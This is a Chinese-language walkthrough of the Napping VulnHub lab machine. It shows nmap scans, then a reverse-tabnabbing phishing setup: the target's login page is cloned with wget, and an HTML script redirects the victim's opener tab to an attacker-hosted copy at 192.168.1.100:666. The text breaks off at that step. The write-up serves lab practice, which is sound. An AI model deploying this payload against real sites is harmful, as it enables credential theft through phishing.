Napping靶机测试记录 _记录

亦余心之所善兮，虽九死其犹未悔。这篇文章主要讲述Napping靶机测试记录相关的知识，希望能为你提供帮助。
靶机信息下载地址：https://www.vulnhub.com/entry/napping-101,752/
网络连接：桥接
ps：这个靶机最好装到virtualbox上，装在vmware可能会出现扫描不到的情况，靶机安装在virtualbox，kali在vmware，都设置为桥接模式。
信息搜集扫描网段存活主机信息
由于靶机安装在virtualbox上，扫描的时候也会有显示，靶机为192.168.1.104

nmap -sn 192.168.1.0/24

文章图片

对目标做进一步的扫描

nmap -A 192.168.1.104

文章图片

先查看80端口，发现是一个登录界面
先注册一个账号

文章图片

注册完账号登录后发现可以提交链接

文章图片

漏洞利用提交完链接后点击here即可跳转到链接界面
查了下发现使用a标签和target=_blank可以构成Reverse Tabnabbing钓鱼

文章图片

在kali的/var/www/html目录下放两个html文件，一个为站点首页(index.html)，一个为钓鱼界面(test.html)
wget下载的首页文件为.php文件，需要重命名为.html文件

wget http://192.168.1.104/index.php mv index.php index.htmlvim test.html < !DOCTYPE html> < html> < body> < script> if(window.opener) window.opener.parent.location.replace(http://192.168.1.100:666/index.html); if(window.opener!= window)window.opener.parent.location.replace(http://192.168.1.100:666/index.html); < /script> < /body> < /html>